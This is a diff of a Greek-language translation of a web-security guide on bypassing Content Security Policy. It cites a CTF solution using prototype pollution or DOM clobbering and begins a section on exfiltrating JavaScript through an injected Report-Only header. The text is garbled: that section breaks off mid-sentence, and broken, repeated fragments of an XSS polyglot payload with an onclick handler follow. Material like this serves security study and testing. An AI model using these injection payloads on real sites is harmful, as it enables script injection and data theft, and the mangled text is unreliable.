-Στην [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
+Στο [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
Μπορείτε να **περιορίσετε ένα CSP ενός Iframe** με το **`csp`** χαρακτηριστικό:
```html
@@ -566,11 +566,11 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
-### JS exfiltration με Content-Security-Policy-Report-Only
+### JS exfiltration with Content-Security-Policy-Report-Only
-Αν μπορέσεις να κάνεις τον διακομιστή να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχεις εσύ** (ίσως λόγω CRLF), θα μπορούσες να την κατευθύνεις στον διακομιστή σου και αν **τυλίξεις** το **JS περιεχόμενο** που θέλεις να εξάγεις με **`
-->'"/>
-">>" >|\>@gmail.com'-->" >">'">
+">>" >|\>@gmail.com'-->" >">'">
" onclick=alert(1)//|\>@gmail.com'-->" >">'">
+">>" >|\>@gmail.com'-->" >">'">
" onclick=alert(1)//|\>@gmail.com'-->" >">'">
+">>" >|\>@gmail.com'-->" >">'">
" onclick=alert(1)//